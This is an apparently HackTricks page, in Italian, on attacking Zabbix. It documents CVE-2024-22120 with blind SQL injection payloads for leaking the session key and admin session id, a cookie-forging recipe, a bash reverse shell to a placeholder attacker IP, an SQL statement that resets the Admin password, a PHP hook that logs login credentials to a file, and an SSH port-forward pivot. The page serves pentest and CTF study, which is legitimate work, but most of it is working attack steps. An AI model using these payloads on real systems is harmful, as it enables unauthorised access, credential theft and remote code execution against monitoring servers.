Zabbix Security
Reading time: 7 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Overview
Zabbix è una piattaforma di monitoring che espone una web UI (tipicamente dietro Apache/Nginx) e un componente server che parla anche il protocollo Zabbix su TCP/10051 (server/trapper) e un agent su TCP/10050. Durante gli engagement potresti incontrare:
- Web UI: virtual host HTTP(S) come zabbix.example.tld
- Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
- Zabbix agent port: 10050/tcp
Formato utile del cookie: zbx_session è Base64 di un oggetto JSON compatto che include almeno sessionid, serverCheckResult, serverCheckTime e sign. Lo sign è un HMAC del payload JSON.
zbx_session cookie internals
Le versioni recenti di Zabbix calcolano il cookie come:
- data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
- sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
- Final cookie: Base64(JSON_with_sign)
Se riesci a recuperare il session_key globale e un sessionid admin valido, puoi forgiare offline un cookie Admin valido e autenticarti alla UI.
CVE-2024-22120 — Time-based blind SQLi nel log di audit del Server Zabbix
Affected versions (as publicly documented):
- 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1
Vulnerability summary:
- Quando l'esecuzione di uno Script viene registrata nel log di audit del Server Zabbix, il campo clientip non viene sanitizzato e viene concatenato dentro SQL, permettendo una Time-based blind SQLi tramite il componente server.
- Questo è sfruttabile inviando una richiesta "command" appositamente costruita alla porta del server Zabbix 10051 con un sessionid valido a basso privilegio, un hostid accessibile all'utente, e uno scriptid permesso.
Preconditions and discovery tips:
- sessionid: Da guest/login nella web UI, decodifica zbx_session (Base64) per ottenere sessionid.
- hostid: Osserva tramite le richieste della web UI (es., Monitoring → Hosts) o intercetta con un proxy; il valore di default comune è 10084.
- scriptid: Solo gli script permessi al ruolo corrente verranno eseguiti; verifica ispezionando il menu script/risposte AJAX. Valori di default come 1 o 2 sono spesso consentiti; 3 può essere negato.
Exploitation flow
- Trigger audit insert with SQLi in clientip
- Connettersi a TCP/10051 e inviare un messaggio incorniciato Zabbix con request="command" includendo sid, hostid, scriptid, e clientip impostato su un'espressione SQL che sarà concatenata dal server e valutata.
Minimal message (JSON body) fields:
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}
Il formato wire completo è: "ZBXD\x01" + 8-byte little-endian length + UTF-8 JSON. Puoi usare pwntools o il tuo codice socket per impacchettarlo.
- Time-bruteforce secrets via conditional sleep
Usa espressioni condizionali per leak hex-encoded secrets un carattere alla volta misurando il tempo di risposta. Esempi che hanno funzionato nella pratica:
- Leak global session_key from config:
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
- Leak Admin session_id (userid=1) da sessions:
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
Note:
- charset: 32 caratteri esadecimali [0-9a-f]
- Pick T_TRUE >> T_FALSE (e.g., 10 vs 1) e misura il wall-clock per tentativo
- Assicurati che il tuo scriptid sia effettivamente autorizzato per l'utente; altrimenti non viene prodotta alcuna riga di audit e il timing non funzionerà
- Forge Admin cookie
Once you have:
- session_key: 32-hex from config.session_key
- admin_sessionid: 32-hex from sessions.sessionid for userid=1
Compute:
- sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
- zbx_session = Base64(JSON_with_sign)
Set the cookie zbx_session to this value and GET /zabbix.php?action=dashboard.view to validate Admin access.
Tooling pronto all'uso
- Public PoC automatizza: bruteforce of session_key and admin sessionid, and cookie forging; richiede pwntools e requests.
- I parametri da fornire solitamente includono: --ip (FQDN of UI), --port 10051, --sid (low-priv), --hostid, e opzionalmente un known --admin-sid per saltare il brute.
RCE via Script execution (post-Admin)
Con accesso Admin nella UI, puoi eseguire Scripts predefiniti contro gli host monitorati. Se agents/hosts eseguono comandi di script localmente, questo si traduce in code execution su quei sistemi (spesso come l'utente zabbix su host Linux):
- Quick check: run id to confirm user context
- Reverse shell example:
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'
TTY upgrade (Linux):
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset
Se hai accesso al DB, un'alternativa a forging a cookie è reimpostare la password Admin al bcrypt documentato per "zabbix":
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';
Cattura delle credenziali via login hook (post-exploitation)
Se è possibile scrivere file sul server web UI, puoi temporaneamente aggiungere uno snippet di logging in /usr/share/zabbix/index.php intorno al ramo di form-based login per catturare le credenziali:
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}
Gli utenti si autenticano normalmente; leggere /dev/shm/creds.txt successivamente. Rimuovere il hook quando finito.
Pivoting to internal services
Anche se la service account shell è /usr/sbin/nologin, aggiungere un SSH authorized_keys entry e usare -N -L permette il local port-forwarding verso loopback-only services (e.g., CI/CD at 8111):
ssh -i key user@host -N -L 8111:127.0.0.1:8111
Per altri schemi di tunneling, consulta Tunneling and Port Forwarding.
Suggerimenti operativi
- Verifica che scriptid sia consentito per il ruolo corrente (guest potrebbe avere un set limitato)
- Il Timing brute può essere lento; memorizza in cache la sessionid admin recuperata e riutilizzala
- Il JSON inviato a 10051 deve essere incorniciato con l'header ZBXD\x01 e una little-endian length
Riferimenti
- HTB Watcher — Zabbix CVE-2024-22120 to Admin/RCE and TeamCity root pivot
- CVE-2024-22120-RCE toolkit (PoC scripts)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.